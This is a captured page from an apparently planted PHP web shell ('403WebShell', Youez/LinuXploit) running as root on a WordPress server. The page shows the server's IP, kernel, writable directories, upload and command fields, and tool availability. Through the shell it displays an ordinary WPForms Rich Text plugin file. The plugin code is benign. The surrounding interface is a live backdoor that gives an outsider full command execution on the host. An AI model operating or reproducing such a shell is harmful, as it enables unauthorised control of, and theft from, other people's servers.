Uname:Linux machinox-server 6.17.0-1013-aws #13~24.04.1-Ubuntu SMP Fri Apr 24 21:36:58 UTC 2026 aarch64

Base Dir : /var/www/machinox.in

User : root


403WebShell
403Webshell
Server IP : 13.235.167.51  /  Your IP : 216.73.217.116
Web Server : Apache
System : Linux machinox-server 6.17.0-1013-aws #13~24.04.1-Ubuntu SMP Fri Apr 24 21:36:58 UTC 2026 aarch64
User : root ( 0)
PHP Version : 8.2.29
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/machinox.in/wp-content/plugins/wpforms/src/Pro/Forms/Fields/Richtext/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/machinox.in/wp-content/plugins/wpforms/src/Pro/Forms/Fields/Richtext/EntryViewContent.php
<?php

namespace WPForms\Pro\Forms\Fields\Richtext;

/**
 * Rich Text field iframe content (single entry page).
 *
 * @since 1.7.0
 */
class EntryViewContent {

	/**
	 * Rich Text field ID.
	 *
	 * @since 1.7.0
	 *
	 * @var int
	 */
	private $field_id;

	/**
	 * Entry ID.
	 *
	 * @since 1.7.0
	 *
	 * @var int
	 */
	private $entry_id;

	/**
	 * Entry field data.
	 *
	 * @since 1.7.0
	 *
	 * @var array
	 */
	private $entry_field;

	/**
	 * Indicate if the class is allowed to load.
	 *
	 * @since 1.7.0
	 *
	 * @return bool
	 */
	private function allow_load(): bool { // phpcs:ignore Generic.Metrics.CyclomaticComplexity.TooHigh

		if ( ! wpforms_is_admin_page( 'entries', 'details' ) && ! wpforms_is_admin_page( 'entries', 'print' ) ) {
			return false;
		}

		 // phpcs:ignore WordPress.Security.NonceVerification, WordPress.Security.ValidatedSanitizedInput.InputNotSanitized
		$this->field_id = isset( $_GET['richtext_field_id'] ) ? wpforms_validate_field_id( wp_unslash( $_GET['richtext_field_id'] ) ) : 0;

		if ( empty( $this->field_id ) ) {
			return false;
		}

		$this->entry_id = isset( $_GET['entry_id'] ) ? absint( $_GET['entry_id'] ) : 0; // phpcs:ignore WordPress.Security.NonceVerification

		if ( empty( $this->entry_id ) ) {
			return false;
		}

		if ( ! wpforms_current_user_can( 'view_entry_single', $this->entry_id ) ) {
			wp_die( esc_html__( 'Sorry, you are not allowed to view this entry.', 'wpforms' ), 403 );
		}

		return true;
	}

	/**
	 * Init.
	 *
	 * @since 1.7.0
	 */
	public function init() {

		// Only proceed if allowed.
		if ( ! $this->allow_load() ) {
			return;
		}

		// Find the entry.
		$entry = wpforms()->obj( 'entry' )->get( $this->entry_id );

		// Find the form information.
		$form_data = wpforms()->obj( 'form' )->get(
			$entry->form_id,
			[
				'cap'          => 'view_entries_form_single',
				'content_only' => true,
			]
		);

		$entry_fields      = apply_filters( 'wpforms_entry_single_data', wpforms_decode( $entry->fields ), $entry, $form_data );
		$this->entry_field = ! empty( $entry_fields[ $this->field_id ] ) ? $entry_fields[ $this->field_id ] : false;

		if ( empty( $this->entry_field['value'] ) ) {
			return;
		}

		// Finally, display content.
		$this->display_content();
	}

	/**
	 * Display Rich Text field content.
	 *
	 * @since 1.7.0
	 */
	private function display_content() {

		echo wpforms_render( // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped
			'fields/richtext-single-iframe',
			[
				'content' => $this->entry_field['value'],
			],
			true
		);

		exit;
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit